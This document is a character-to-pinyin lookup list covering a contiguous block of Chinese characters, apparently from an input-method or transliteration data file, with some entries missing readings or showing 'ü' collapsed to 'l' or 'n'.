豁 huo 豂 liao 豃 han 豄 du 豅 long 豆 dou 豇 jiang 豈 qi 豉 chi 豊 li 豋 deng 豌 wan 豍 bi 豎 shu 豏 xian 豐 feng 豑 zhi 豒 zhi 豓 yan 豔 yan 豕 shi 豖 chu 豗 hui 豘 tun 豙 yi 豚 tun 豛 yi 豜 jian 豝 ba 豞 hou 豟 e 豠 chu 象 xiang 豢 huan 豣 豤 ken 豥 gai 豦 ju 豧 fu 豨 xi 豩 bin 豪 hao 豫 yu 豬 zhu 豭 jia 豮 fen 豯 xi 豰 hu 豱 wen 豲 huan 豳 bin 豴 di 豵 zong 豶 fen 豷 yi 豸 zhi 豹 bao 豺 chai 豻 an 豼 pi 豽 na 豾 pi 豿 gou 貀 na 貁 you 貂 diao 貃 mo 貄 si 貅 xiu 貆 huan 貇 ken 貈 he 貉 hao,he 貊 mo 貋 an 貌 mao 貍 li 貎 ni 貏 bi 貐 yu 貑 jia 貒 tuan 貓 mao 貔 pi 貕 xi 貖 yi 貗 ju 貘 mo 貙 chu 貚 tan 貛 huan 貜 jue 貝 bei 貞 zhen 貟 yuan 負 fu 財 cai 貢 gong 貣 dai 貤 yi 貥 hang 貦 wan 貧 pin 貨 huo 販 fan 貪 tan 貫 guan 責 ze 貭 zhi 貯 zhu 貰 shi 貱 bi 貲 zi 貳 er 貴 gui 貵 pian 貶 bian 買 mai 貸 dai 貹 sheng 貺 kuang 費 fei 貼 tie 貽 yi 貾 chi 貿 mao 賀 he 賁 bi 賂 lu 賃 lin 賄 hui 賅 gai 賆 pian 資 zi 賈 jia 賉 xu 賊 zei 賋 jiao 賌 gai 賍 zang 賎 jian 賏 ying 賐 jun 賑 zhen 賒 she 賓 bin 賔 bin 賕 qiu 賖 she 賗 chuan 賘 zang 賙 zhou 賚 lai 賛 zan 賜 ci 賝 chen 賞 shang 賟 tian 賠 pei 賡 geng 賢 xian 賣 mai 賤 jian 賥 sui 賦 fu 賧 dan 賨 cong 賩 cong 質 zhi 賫 lai 賬 zhang 賭 du 賮 jin 賯 xiong 賰 chun 賱 yun 賲 bao 賳 zai 賴 lai 賵 feng 賶 cang 賷 ji 賸 sheng 賹 yi 賺 zhuan 賻 fu 購 gou 賽 sai 賾 ze 賿 liao 贀 yi 贁 bai 贂 chen 贃 wan 贄 zhi 贅 zhui 贆 biao 贇 yun 贈 zeng 贉 dan 贊 zan 贋 yan 贌 pu 贍 shan 贏 ying 贐 jin 贑 gan 贒 xian 贓 zang 贔 bi 贕 du 贖 shu 贗 yan 贘 shang 贙 xuan 贚 long 贛 gan 贜 zang 贝 bei 贞 zhen 负 fu 贠 yuan 贡 gong 财 cai 责 ze,zhai 贤 xian 败 bai 账 zhang 货 huo 质 zhi 贩 fan 贪 tan 贫 pin 贬 bian 购 gou 贮 zhu 贯 guan 贰 er 贱 jian 贲 ben,bi 贳 shi 贴 tie 贵 gui 贶 kuang 贷 dai 贸 mao 费 fei 贺 he 贻 yi 贼 zei 贽 zhi 贾 jia,gu 贿 hui 赀 zi 赁 lin 赂 lu 赃 zang 资 zi 赅 gai 赆 jin 赇 qiu 赈 zhen 赉 lai 赊 she 赋 fu 赌 du 赍 ji 赎 shu 赏 shang 赐 ci 赑 bi 赒 zhou 赓 geng 赔 pei 赕 dan 赖 lai 赗 feng 赘 zhui 赙 fu 赚 zhuan,zuan 赛 sai 赜 ze 赝 yan 赞 zan 赟 yun 赠 zeng 赡 shan 赢 ying 赣 gan,gong 赤 chi 赥 xi 赦 she 赧 nan 赨 tong 赩 xi 赪 cheng 赫 he 赬 cheng 赭 zhe 赮 xia 赯 tang 走 zou 赱 zou 赲 li 赳 jiu 赴 fu 赵 zhao 赶 gan 起 qi 赸 shan 赹 qiong 赺 yin 赻 xian 赼 zi 赽 jue 赾 qin 赿 chi 趀 ci 趁 chen 趂 chen 趃 die 趄 ju,qie 超 chao 趆 di 趇 xi 趈 zhan 趉 jue 越 yue 趋 qu 趌 ji 趍 qu 趎 chu 趏 gua 趐 xue 趑 zi 趒 tiao 趓 duo 趔 lie 趕 gan 趖 suo 趗 cu 趘 xi 趙 zhao 趚 su 趛 yin 趜 ju 趝 jian 趞 que 趟 tang 趠 chuo 趡 cui 趢 lu 趣 qu,cu 趤 dang 趥 qiu 趦 zi 趧 ti 趨 qu 趩 chi 趪 huang 趫 qiao 趬 qiao 趭 jiao 趮 zao 趯 ti 趰 趱 zan 趲 zan 足 zu 趴 pa 趵 bao,bo 趶 kua 趷 ke 趸 dun 趹 jue 趺 fu 趻 chen 趼 jian 趽 fang 趾 zhi 趿 ta 跀 yue 跁 ba 跂 qi 跃 yue 跄 qiang 跅 tuo 跆 tai 跇 yi 跈 jian 跉 ling 跊 mei 跋 ba 跌 die 跍 ku 跎 tuo 跏 jia 跐 ci 跑 pao 跒 qia 跓 zhu 跔 ju 跖 zhi 跗 fu 跘 pan 跙 ju 跚 shan 跛 bo 跜 ni 距 ju 跞 li,luo 跟 gen 跠 yi 跡 ji 跢 dai 跣 xian 跤 jiao 跥 duo 跦 zhu 跧 quan 跨 kua 跩 zhuai 跪 gui 跫 qiong 跬 kui 跭 xiang 跮 die 路 lu 跰 pian 跱 zhi 跲 jia 跳 tiao 跴 cai 践 jian 跶 da 跷 qiao 跸 bi 跹 xian 跺 duo 跻 ji 跼 ju 跽 ji 跾 shu 跿 tu 踀 chuo 踁 jing 踂 nie 踃 xiao 踄 bu 踅 xue 踆 cun 踇 mu 踈 shu 踉 liang 踊 yong 踋 jiao 踌 chou 踍 qiao 踎 mou 踏 ta 踐 jian 踑 ji 踒 wo 踓 wei 踔 chuo 踕 jie 踖 ji 踗 nie 踘 ju 踙 nie 踚 lun 踛 lu 踜 leng 踝 huai 踞 ju 踟 chi 踠 wan 踡 juan,quan 踢 ti 踣 bo 踤 zu 踥 qie 踦 qi,yi 踧 cu 踨 zong 踩 cai 踪 zong 踫 peng 踬 zhi 踭 zheng 踮 dian 踯 zhi 踰 yu 踱 duo 踲 dun 踳 chuan 踴 yong 踵 zhong 踶 di 踷 zhe 踸 chen 踹 chuai 踺 jian 踻 gua 踼 tang 踽 ju 踾 fu 踿 cu 蹀 die 蹁 pian 蹂 rou 蹃 nuo 蹄 ti 蹅 cha 蹆 tui 蹇 jian 蹈 dao 蹉 cuo 蹊 xi,qi 蹋 ta 蹌 qiang 蹍 nian 蹎 dian 蹏 ti 蹐 ji 蹑 nie 蹒 pan 蹓 liu 蹔 zan 蹕 bi 蹖 chong 蹗 lu 蹘 liao 蹙 cu 蹚 tang 蹛 die 蹜 su 蹝 xi 蹞 kui 蹟 ji 蹠 zhi 蹡 qiang 蹢 zhi,di 蹣 pan 蹤 zong 蹥 lian 蹦 beng 蹧 zao 蹨 nian 蹩 bie 蹪 tui 蹫 ju 蹬 deng 蹭 ceng 蹮 xian 蹯 fan 蹰 chu 蹱 zhong 蹲 cun,dun 蹴 cu 蹵 cu 蹶 jue 蹷 jue 蹸 lin 蹹 ta 蹺 qiao 蹻 jue 蹼 pu 蹽 liao 蹾 dun 蹿 cuan 躀 guan 躁 zao 躂 躃 bi 躄 bi 躅 zhu,zhuo 躆 ju 躇 chu 躈 qiao 躉 dun 躊 chou 躋 ji 躌 wu 躍 yue 躎 nian 躏 lin 躐 lie 躑 zhi 躒 li 躓 zhi 躔 chan 躕 chu 躖 duan 躗 wei 躘 long 躙 lin 躚 xian 躛 wei 躜 zuan 躝 lan 躞 xie 躟 rang 躠 sa 躡 nie 躢 ta 躣 qu 躤 ji 躥 cuan 躦 zuan 躧 xi 躨 kui 躩 jue 躪 lin 身 shen 躬 gong 躭 dan 躮 躯 qu 躰 ti 躱 duo 躲 duo 躳 gong 躴 lang 躵 躶 luo 躷 ai 躸 ji 躹 ju 躺 tang 躻 躼 lao 躽 yan 躾 躿 kang 軀 qu 軁 lou 軂 lao 軃 duo 軄 zhi 軅 軆 ti 軇 dao 軈 軉 車 che 軋 ya 軌 gui 軍 jun 軎 wei 軏 yue 軐 xin 軑 dai 軒 xuan 軓 fan 軔 ren 軕 shan 軖 kuang 軗 shu 軘 tun 軙 chen 軚 dai 軛 e 軜 na 軝 qi 軞 mao 軟 ruan 軠 kuang 軡 qian 転 zhuan 軣 hong 軤 hu 軦 kuang 軧 di 軨 ling 軩 dai 軪 ao 軫 zhen 軬 fan 軭 kuang 軮 yang 軯 peng 軰 bei 軱 gu 軲 gu 軳 pao 軴 zhu 軵 rong 軶 e 軷 ba 軸 zhou 軹 zhi 軺 yao 軻 ke 軼 yi 軽 qing 軾 shi 軿 ping 輀 er 輁 gong 輂 ju 較 jiao 輄 guang 輅 lu 輆 kai 輇 quan 輈 zhou 載 zai 輊 zhi 輋 she 輌 liang 輍 yu 輎 shao 輏 you 輐 wan 輑 yin 輒 zhe 輓 wan 輔 fu 輕 qing 輖 zhou 輗 ni 輘 ling 輙 zhe 輚 zhan 輛 liang 輜 zi 輝 hui 輞 wang 輟 chuo 輠 guo 輡 kan 輢 yi 輣 peng 輤 qian 輥 gun 輦 nian 輧 輨 guan 輩 bei 輪 lun 輫 pai 輬 liang 輭 ruan 輮 rou 輯 ji 輰 yang 輱 xian 輲 chuan 輳 cou 輴 chun 輵 ge 輶 you 輷 hong 輸 shu 輹 fu 輺 zi 輻 fu 輼 wen 輽 fan 輾 zhan 輿 yu 轀 wen 轁 tao 轂 gu 轃 zhen 轄 xia 轆 lu 轇 jiao 轈 chao 轉 zhuan 轊 wei 轋 hun 轌 轍 zhe 轎 jiao 轏 zhan 轐 bu 轑 lao 轒 fen 轓 fan 轔 lin 轕 ge 轖 se 轗 kan 轘 huan 轙 yi 轚 ji 轛 dui 轜 er 轝 yu 轞 jian 轟 hong 轠 lei 轡 pei 轢 li 轣 li 轤 轥 lin 车 che,ju 轧 ga,ya,zha 轨 gui 轩 xuan 轪 dai 轫 ren 转 zhuan,zhuai 轭 e 轮 lun 软 ruan 轰 hong 轱 gu 轲 ke 轳 轴 zhou 轵 zhi 轶 yi 轷 hu 轸 zhen 轹 li 轺 yao 轻 qing 轼 shi 载 zai 轾 zhi 轿 jiao 辀 zhou 辁 quan 辂 lu 较 jiao 辄 zhe 辅 fu 辆 liang 辇 nian 辈 bei 辉 hui 辊 gun 辋 wang 辌 liang 辍 chuo 辎 zi 辏 cou 辐 fu 辑 ji 辒 wen 输 shu 辔 pei 辕 yuan 辖 xia 辗 zhan,nian 辘 lu 辙 zhe 辚 lin 辛 xin 辜 gu 辝 ci 辞 ci 辟 pi,bi 辠 zui 辡 bian 辢 la 辣 la 辤 ci 辥 xue 辦 ban 辧 bian 辨 bian 辩 bian 辪 xue 辫 bian 辬 ban 辭 ci 辮 bian 辯 bian 辰 chen 辱 ru 農 nong 辳 nong 辴 zhen 辵 chuo 辶 chuo 辷 辸 reng 边 bian 辺 dao 辻 込 yu 辽 liao 达 da 辿 chan 迀 gan 迁 qian 迂 yu 迃 yu 迄 qi 迅 xun 迆 yi 过 guo 迈 mai 迉 qi 迊 bi 迋 wang 迌 tu 迍 zhun 迎 ying 迏 da 运 yun 近 jin 迒 hang 迓 ya 返 fan 迕 wu 迖 da 迗 e 还 huan,hai 这 zhei,zhe 迚 da 进 jin 远 yuan 违 wei 连 lian 迟 chi 迠 che 迡 chi 迢 tiao 迣 zhi 迤 yi 迥 jiong 迦 jia 迧 chen 迨 dai 迩 er 迪 di 迫 pai,po 迬 zhu 迭 die 迮 ze 迯 tao 述 shu 迱 yi 迲 迳 jing 迴 hui 迵 dong 迶 you 迷 mi 迸 beng 迹 ji 迺 nai 迻 yi 迼 jie 追 zhui 迾 lie 迿 xun 退 tui 送 song 适 shi 逃 tao 逄 pang 逅 hou 逆 ni 逇 dun 逈 jiong 选 xuan 逊 xun 逋 bu 逌 you 逍 xiao 逎 qiu 透 tou 逐 zhu 逑 qiu 递 di 逓 di 途 tu 逕 jing 逖 ti 逗 dou 逘 yi 通 tong 逛 guang 逜 wu 逝 shi 逞 cheng 速 su 造 zao 逡 qun 逢 feng 連 lian 逤 suo 逥 hui 逦 li 逧 逨 lai 逩 ben 逪 cuo 逫 zhu 逬 beng 逭 huan 逮 dai 逯 lu 逰 you 週 zhou 進 jin 逳 yu 逴 chuo 逵 kui 逶 wei 逷 ti 逸 yi 逹 da 逺 yuan 逻 luo 逼 bi 逽 nuo 逾 yu 逿 dang 遀 sui 遁 dun 遂 sui 遃 yan 遄 chuan 遅 chi 遆 ti 遇 yu 遈 shi 遉 zhen 遊 you 運 yun 遌 e 遍 bian 過 guo 遏 e 遐 xia 遑 huang 遒 qiu 道 dao 達 da 違 wei 遖 遗 wei,yi 遘 gou 遙 yao 遚 chou 遛 liu 遜 xun 遝 ta 遞 di 遟 chi 遠 yuan 遡 su 遢 遣 qian 遤 遥 yao 遦 guan 遧 zhang 遨 ao 適 shi 遪 ca 遫 chi 遬 su 遭 zao 遮 zhe 遯 dun 遰 di 遱 lou 遲 chi 遳 cuo 遴 lin 遵 zun 遶 rao 遷 qian 選 xuan 遹 yu 遺 yi 遻 e 遼 liao 遽 ju 遾 shi 避 bi 邀 yao 邁 mai 邂 xie 邃 sui 還 huan 邅 zhan 邆 teng 邇 er 邈 miao 邉 bian 邊 bian 邋 la 邌 li 邍 yuan 邎 yao 邏 luo 邐 li 邑 yi 邒 ting 邓 deng 邔 qi 邕 yong 邖 shan 邗 han 邘 yu 邙 mang 邚 ru 邛 qiong 邜 xi 邝 kuang 邞 fu 邟 kang 邠 bin 邡 fang 邢 xing 那 na,ne,nei,nuo 邤 xin 邥 shen 邦 bang 邧 yuan 邨 cun 邩 huo 邪 ye,xie 邫 bang 邬 wu 邭 ju 邮 you 邯 han 邰 tai 邱 qiu 邲 bi 邳 pi 邴 bing 邵 shao 邶 bei 邷 wa 邸 di 邹 zou 邺 ye 邻 lin 邼 kuang 邽 gui 邾 zhu 邿 shi 郀 ku 郁 yu 郃 he 郄 xi 郅 zhi 郆 ji 郇 huan,xun 郈 hou 郉 xing 郊 jiao 郋 xi 郌 gui 郍 na 郎 lang 郏 jia 郐 kuai 郑 zheng 郒 lang 郓 yun 郔 yan 郕 cheng 郖 dou 郗 xi 郘 l 郙 fu 郚 wu 郛 fu 郜 gao 郝 hao 郞 lang 郟 jia 郠 geng 郡 jun 郢 ying 郣 bo 郤 xi 郥 bei 郦 li 郧 yun 部 bu 郩 xiao 郪 qi 郫 pi 郬 qing 郭 guo 郮 zhou 郯 tan 郰 zou 郱 ping 郲 lai 郳 ni 郴 chen 郵 you 郶 bu 郷 xiang 郸 dan 郹 ju 郺 yong 郻 qiao 郼 yi 都 dou,du 郾 yan 郿 mei 鄀 ruo 鄁 bei 鄂 e 鄃 shu 鄄 juan 鄅 yu 鄆 yun 鄇 hou 鄈 kui 鄉 xiang 鄊 xiang 鄋 sou 鄌 tang 鄍 ming 鄎 xi 鄏 ru 鄐 chu 鄑 zi 鄒 zou 鄓 yi 鄔 wu 鄕 xiang 鄖 yun 鄗 hao 鄘 yong 鄙 bi 鄚 mao 鄛 chao 鄜 fu 鄝 liao 鄞 yin 鄟 zhuan 鄠 hu 鄡 qiao 鄢 yan 鄣 zhang 鄤 man 鄥 qiao 鄦 xu 鄧 deng 鄨 bi 鄩 xun 鄪 bi 鄫 zeng 鄬 wei 鄭 zheng 鄮 mao 鄯 shan 鄰 lin 鄱 po 鄲 dan 鄳 meng 鄴 ye 鄵 cao 鄶 kuai 鄷 feng 鄸 meng 鄹 zou 鄺 kuang 鄻 lian 鄼 zan 鄽 chan 鄾 you 鄿 qi 酀 yan 酁 chan 酂 cuo,zan 酃 ling 酄 huan 酆 feng 酇 zan 酈 li 酉 you 酊 ding 酋 qiu 酌 zhuo 配 pei 酎 zhou 酏 yi 酐 gan 酑 yu 酒 jiu 酓 yan 酔 zui 酕 mao 酖 dan 酗 xu 酘 dou 酙 zhen 酚 fen 酛 酜 酝 yun 酞 tai 酟 tian 酠 qia 酡 tuo 酢 cu 酣 han 酤 gu 酥 su 酦 fa,po 酧 chou 酨 zai 酩 ming 酪 lao 酫 chuo 酬 chou 酭 you 酮 tong 酯 zhi 酰 xian 酱 jiang 酲 cheng 酳 yin 酴 tu 酵 jiao 酶 mei 酷 ku 酸 suan 酹 lei 酺 pu 酻 zui 酼 hai 酽 yan 酾 shai,shi 酿 niang 醀 wei 醁 lu 醂 lan 醃 yan 醄 tao 醅 pei 醆 zhan 醇 chun 醈 tan 醉 zui 醊 zhui 醋 cu 醌 kun 醍 ti 醎 xian 醏 du 醐 hu 醑 xu 醒 xing 醓 tan 醔 qiu 醕 chun 醖 yun 醗 po 醘 ke 醙 sou 醚 mi 醛 quan 醜 chou 醝 cuo 醞 yun 醟 yong 醠 ang 醡 zha 醢 hai 醣 tang 醤 jiang 醥 piao 醦 chan 醧 yu 醨 li 醩 zao 醪 lao 醫 yi 醬 jiang 醭 bu 醮 jiao 醯 xi 醰 tan 醱 po 醲 nong 醳 yi 醴 li 醵 ju 醶 yan 醷 yi 醸 niang 醹 ru 醺 xun 醻 chou 醼 yan 醽 ling 醾 mi 醿 mi 釀 niang 釁 xin 釂 jiao 釃 shi 釄 mi 釅 yan 釆 bian 采 cai 釈 shi 釉 you 释 shi 釋 shi 里 li 重 chong,zhong 野 ye 量 liang 釐 li 金 jin 釒 jin 釓 ga 釔 yi 釕 liao 釖 dao 釗 zhao 釘 ding 釙 po 釚 qiu 釛 he 釜 fu 針 zhen 釞 zhi 釟 ba 釠 luan 釡 fu 釢 nai 釣 diao 釤 shan 釥 qiao 釧 chuan 釨 zi 釩 fan 釪 hua 釫 hua 釬 han 釭 gang 釮 qi 釯 mang 釰 ri 釱 di 釲 si 釳 xi 釴 yi 釵 chai 釶 shi 釷 tu 釸 xi 釹 n 釺 qian 釻 qiu 釼 ri 釽 pi 釾 ya 釿 jin 鈀 ba 鈁 fang 鈂 chen 鈃 xing 鈄 dou 鈅 yue 鈆 qian 鈇 fu 鈈 bu 鈉 na 鈊 xin 鈋 e 鈌 jue 鈍 dun 鈎 gou 鈏 yin 鈐 qian 鈑 ban 鈒 sa 鈓 ren 鈔 chao 鈕 niu 鈖 fen 鈗 yun 鈘 yi 鈙 qin 鈚 pi 鈛 guo 鈜 hong 鈝 yin 鈞 jun 鈟 diao 鈠 yi 鈡 zhong 鈢 xi 鈣 gai 鈤 ri 鈥 huo 鈦 tai 鈧 kang 鈨 鈩 鈪 e 鈫 qin 鈬 鈭 zi 鈮 ni 鈯 tu 鈰 shi 鈱 min 鈲 gu 鈳 ke 鈴 ling 鈵 bing 鈶 si 鈷 gu 鈸 bo 鈹 pi 鈺 yu 鈻 si 鈼 zuo 鈽 bu 鈾 you 鈿 dian 鉀 jia 鉁 zhen 鉂 shi 鉃 shi 鉄 tie 鉅 ju 鉇 shi 鉈 ta 鉉 xuan 鉊 zhao 鉋 bao 鉌 he 鉍 bi 鉎 sheng 鉏 chu 鉐 shi 鉑 bo 鉒 zhu 鉓 chi 鉔 za 鉕 po 鉖 tong 鉗 qian 鉘 fu 鉙 zhai 鉚 mao 鉛 qian 鉜 fu 鉝 li 鉞 yue 鉟 pi 鉠 yang 鉡 ban 鉢 bo 鉣 jie 鉤 gou 鉥 shu 鉦 zheng 鉧 mu 鉨 xi 鉩 xi 鉪 di 鉫 jia 鉬 mu 鉭 tan 鉮 shen 鉯 yi 鉰 si 鉱 kuang 鉲 ka 鉳 bei 鉴 jian 鉵 tong 鉶 xing 鉷 hong 鉸 jiao 鉹 chi 鉺 er 鉻 ge 鉼 bing 鉽 shi 鉾 mao 鉿 ha 銀 yin 銁 jun 銂 zhou 銃 chong 銄 xiang 銅 tong 銆 mo 銇 lei 銈 ji 銉 yu 銊 xu 銋 ren 銌 zun 銍 zhi 銎 qiong 銏 shan 銐 chi 銑 xian 銒 xing 銓 quan 銔 pi 銕 tie 銖 zhu 銗 hou 銘 ming 銙 kua 銚 diao 銛 xian 銜 xian 銝 xiu 銞 jun 銟 cha 銠 lao 銡 ji 銢 pi 銣 ru 銤 mi 銥 yi 銦 yin 銧 guang 銩 diu 銪 you 銫 se 銬 kao 銭 qian 銮 luan 銯 銰 銱 diao 銲 han 銳 rui 銴 shi 銵 keng 銶 qiu 銷 xiao 銸 zhe 銹 xiu 銺 zang 銻 ti 銼 cuo 銽 xian 銾 hong 銿 zhong 鋀 tou 鋁 l 鋂 mei 鋃 lang 鋄 wan 鋅 xin 鋆 yun 鋇 bei 鋈 wu 鋉 su 鋊 yu 鋋 chan 鋌 ting 鋍 bo 鋎 han 鋏 jia 鋐 hong 鋑 juan 鋒 feng 鋓 chan 鋔 wan 鋕 zhi 鋖 si 鋗 xuan 鋘 hua 鋙 wu 鋚 tiao 鋛 kuang 鋜 zhuo 鋝 lue 鋞 xing 鋟 qin 鋠 shen 鋡 han 鋢 lue 鋣 ye 鋤 chu 鋥 zeng 鋦 ju 鋧 xian 鋨 e 鋩 mang 鋪 pu 鋫 li 鋬 pan 鋭 rui 鋮 cheng 鋯 gao 鋰 li 鋱 te 鋲 鋳 zhu 鋴 鋵 tu 鋶 liu 鋷 zui 鋸 ju 鋹 chang 鋺 yuan 鋻 jian 鋼 gang 鋽 diao 鋾 tao 鋿 shang 錀 lun 錁 ke 錂 ling 錃 pi 錄 lu 錅 li 錆 qing 錇 pei 錈 juan 錉 min 錋 peng 錌 an 錍 pi 錎 xian 錏 ya 錐 zhui 錑 lei 錒 a 錓 kong 錔 ta 錕 kun 錖 du 錗 nei 錘 chui 錙 zi 錚 zheng 錛 ben 錜 nie 錝 cong 錞 chun,dui 錟 tan 錠 ding 錡 qi 錢 qian 錣 zhui 錤 ji 錥 yu 錦 jin 錧 guan 錨 mao 錩 chang 錪 tian 錫 xi 錬 lian 錭 diao 錮 gu 錯 cuo 錰 shu 錱 zhen 録 lu 錳 meng 錴 lu 錵 hua 錶 biao 錷 ga 錸 lai 錹 ken 錺 錻 bu 錼 nai 錽 wan 錾 zan 錿 hu 鍀 de 鍁 xian 鍂 鍃 huo 鍄 liang 鍅 鍆 men 鍇 kai 鍈 yang 鍉 chi 鍊 lian 鍋 guo 鍌 xian 鍍 du 鍎 tu 鍏 wei 鍐 zong 鍑 fu 鍒 rou 鍓 ji 鍔 e 鍕 jun 鍖 chen 鍗 ti 鍘 zha 鍙 hu 鍚 yang 鍛 duan 鍜 xia 鍝 yu 鍞 keng 鍟 sheng 鍠 huang 鍡 wei 鍢 fu 鍣 zhao 鍤 cha 鍥 qie 鍦 shi 鍧 hong 鍨 kui 鍩 nuo 鍪 mou 鍫 qiao 鍭 hou 鍮 tou 鍯 cong 鍰 huan 鍱 ye 鍲 min 鍳 jian 鍴 duan 鍵 jian 鍶 si 鍷 kui 鍸 hu 鍹 xuan 鍺 zhe 鍻 jie 鍼 zhen 鍽 bian 鍾 zhong 鍿 zi 鎀 xiu 鎁 ye 鎂 mei 鎃 pai 鎄 ai 鎅 jie 鎆 鎇 mei 鎈 cuo 鎉 da 鎊 bang 鎋 xia 鎌 lian 鎍 suo 鎎 kai 鎏 liu 鎐 yao 鎑 ye 鎒 nou 鎓 weng 鎔 rong 鎕 tang 鎖 suo 鎗 qiang 鎘 ge 鎙 shuo 鎚 chui 鎛 bo 鎜 pan 鎝 da 鎞 pi,bi 鎟 sang 鎠 gang 鎡 zi 鎢 wu 鎣 ying 鎤 huang 鎥 tiao 鎦 liu 鎧 kai 鎨 sun 鎩 sha 鎪 sou 鎫 wan 鎬 gao 鎭 zhen 鎮 zhen 鎯 lang 鎰 yi 鎱 yuan 鎲 tang 鎳 nie 鎴 xi 鎵 jia 鎶 ge 鎷 ma 鎸 juan 鎹 鎺 鎻 suo 鎼 xia 鎽 feng 鎾 鎿 na 鏀 lu 鏁 suo 鏂 ou 鏃 zu 鏄 tuan 鏅 xiu 鏆 guan 鏇 xuan 鏈 lian 鏉 shou 鏊 ao 鏋 man 鏌 mo 鏍 luo 鏏 wei 鏐 liu 鏑 di 鏒 san 鏓 cong 鏔 yi 鏕 lu 鏖 ao 鏗 keng 鏘 qiang 鏙 cui 鏚 qi 鏛 shang 鏜 tang 鏝 man 鏞 yong 鏟 chan 鏠 feng 鏡 jing 鏢 biao 鏣 shu 鏤 lou 鏥 xiu 鏦 cong 鏧 long 鏨 zan 鏩 jian 鏪 cao 鏫 li 鏬 xia 鏭 xi 鏮 kang 鏯 鏰 beng 鏱 鏲 鏳 zheng 鏴 lu 鏵 hua 鏶 ji 鏷 pu 鏸 hui 鏹 qiang 鏺 po 鏻 lin 鏼 se 鏽 xiu 鏾 san 鏿 cheng 鐀 gui 鐁 si 鐂 liu 鐃 nao 鐄 huang 鐅 pie 鐆 sui 鐇 fan 鐈 qiao 鐉 quan 鐊 xi 鐋 tang 鐌 xiang 鐍 jue 鐎 jiao 鐏 zun 鐐 liao 鐑 qi 鐒 lao 鐓 dui 鐔 xin 鐕 zan 鐖 ji 鐗 jian 鐘 zhong 鐙 deng 鐚 ya 鐛 ying 鐜 dui 鐝 jue 鐞 nou 鐟 zan 鐠 pu 鐡 鐢 鐣 cheng 鐤 ding 鐥 shan 鐦 kai 鐧 jian 鐨 fei 鐩 sui 鐪 lu 鐫 juan 鐬 hui 鐭 yu 鐮 lian 鐰 qiao 鐱 jian 鐲 zhuo 鐳 lei 鐴 bi 鐵 tie 鐶 huan 鐷 ye 鐸 duo 鐹 guo 鐺 dang 鐻 ju 鐼 fen 鐽 da 鐾 bei 鐿 yi 鑀 ai 鑁 zong 鑂 xun 鑃 diao 鑄 zhu 鑅 heng 鑆 zhui 鑇 ji 鑈 nie 鑉 he 鑊 huo 鑋 qing 鑌 bin 鑍 ying 鑎 gui 鑏 ning 鑐 xu 鑑 jian 鑒 jian 鑓 鑔 cha 鑕 zhi 鑖 mie 鑗 li 鑘 lei 鑙 ji 鑚 zuan 鑛 kuang 鑜 shang 鑝 peng 鑞 la 鑟 du 鑠 shuo 鑡 chuo 鑢 l 鑣 biao 鑤 bao 鑥 lu 鑦 鑧 鑨 long 鑩 e 鑪 lu 鑫 xin 鑬 jian 鑭 lan 鑮 bo 鑯 jian 鑰 yue 鑱 chan 鑲 xiang 鑳 jian 鑴 xi 鑵 guan 鑶 cang 鑷 nie 鑸 lei 鑹 cuan 鑺 qu 鑻 pan 鑼 luo 鑽 zuan 鑾 luan 鑿 zao 钀 nie 钁 jue 钂 tang 钃 zhu 钄 lan 钅 jin 钆 ga 钇 yi 针 zhen 钉 ding 钊 zhao 钋 po 钌 liao 钍 tu 钎 qian 钏 chuan 钐 shan 钑 sa 钒 fan 钓 diao 钔 men 钕 n 钖 yang 钗 chai 钘 xing 钙 gai 钚 bu 钛 tai 钜 ju 钝 dun 钞 chao 钟 zhong 钠 na 钡 bei 钢 gang 钣 ban 钤 qian 钥 yao,yue 钦 qin 钧 jun 钨 wu 钩 gou 钪 kang 钫 fang 钬 huo 钭 dou 钮 niu 钯 ba 钰 yu 钱 qian 钲 zheng 钳 qian 钴 gu 钵 bo 钶 ke 钷 po 钸 bu 钹 bo 钺 yue 钻 zuan 钼 mu 钽 tan 钾 jia 钿 dian,tian 铀 you 铁 tie 铂 bo 铃 ling 铄 shuo 铅 qian,yan 铆 mao 铇 bao 铈 shi 铉 xuan 铊 ta 铋 bi 铌 ni 铍 pi 铎 duo 铏 xing 铐 kao 铑 lao 铒 er 铓 mang 铔 ya 铕 you 铖 cheng 铗 jia 铘 ye 铙 nao 铚 zhi 铛 cheng,dang 铜 tong 铝 l 铞 diao 铟 yin 铠 kai 铡 zha 铢 zhu 铣 xi,xian 铤 ding,ting 铥 diu 铦 xian 铧 hua 铨 quan 铩 sha 铪 ha 铫 diao,yao 铬 ge 铭 ming 铮 zheng 铯 se 铰 jiao 铱 yi 铲 chan 铳 chong 铴 tang 铵 an 银 yin 铷 ru 铸 zhu 铹 lao 铺 pu 铻 wu,yu 铼 lai 铽 te 链 lian 铿 keng 销 xiao 锁 suo 锂 li 锃 zeng 锄 chu 锅 guo 锆 gao 锇 e 锈 xiu 锉 cuo 锊 l 锋 feng 锌 xin 锍 liu 锎 kai 锏 jian 锐 rui 锑 ti 锒 lang 锓 qin 锔 ju 锕 a 锖 qiang 锗 zhe 锘 nuo 错 cuo 锚 mao 锛 ben 锜 qi 锝 de 锞 ke 锟 kun 锠 chang 锡 xi 锢 gu 锣 luo 锤 chui 锥 zhui 锦 jin 锨 xian 锩 juan 锪 huo 锫 pei 锬 tan 锭 ding 键 jian 锯 ju 锰 meng 锱 zi 锲 qie 锳 ying 锴 kai 锵 qiang 锶 si 锷 e 锸 cha 锹 qiao 锺 zhong 锻 duan 锼 sou 锽 huang 锾 huan 锿 ai 镀 du 镁 mei 镂 lou 镃 zi 镄 fei 镅 mei 镆 mo 镇 zhen 镈 bo 镉 ge 镊 nie 镋 tang 镌 juan 镍 nie 镎 na 镏 liu 镐 gao,hao 镑 bang 镒 yi 镓 jia 镔 bin 镕 rong 镖 biao 镗 tang 镘 man 镙 luo 镚 beng 镛 yong 镜 jing 镝 di 镞 zu 镟 xuan 镠 liu 镡 xin 镢 jue 镣 liao 镤 pu 镥 lu 镦 dui,dun 镧 lan 镨 pu 镩 cuan 镪 qiang 镫 deng 镬 huo 镭 lei 镮 huan 镯 zhuo 镰 lian 镱 yi 镲 cha 镳 biao 镴 la 镵 chan 镶 xiang 長 chang 镸 chang 镹 jiu 镺 ao 镻 die 镼 jie 镽 liao 镾 mi 长 chang,zhang 門 men 閁 ma 閂 shuan 閃 shan 閄 huo 閅 men 閆 yan 閇 bi 閈 han 閉 bi 閊 開 kai 閌 kang 閍 beng 閎 hong 閏 run 閐 san 閑 xian 閒 xian 間 jian 閔 min 閕 xia 閖 lao 閗 dou 閘 zha 閙 nao 閚 zhan 閛 peng 閜 xia 閝 ling 閞 bian 閟 bi 閠 run 閡 he 関 guan 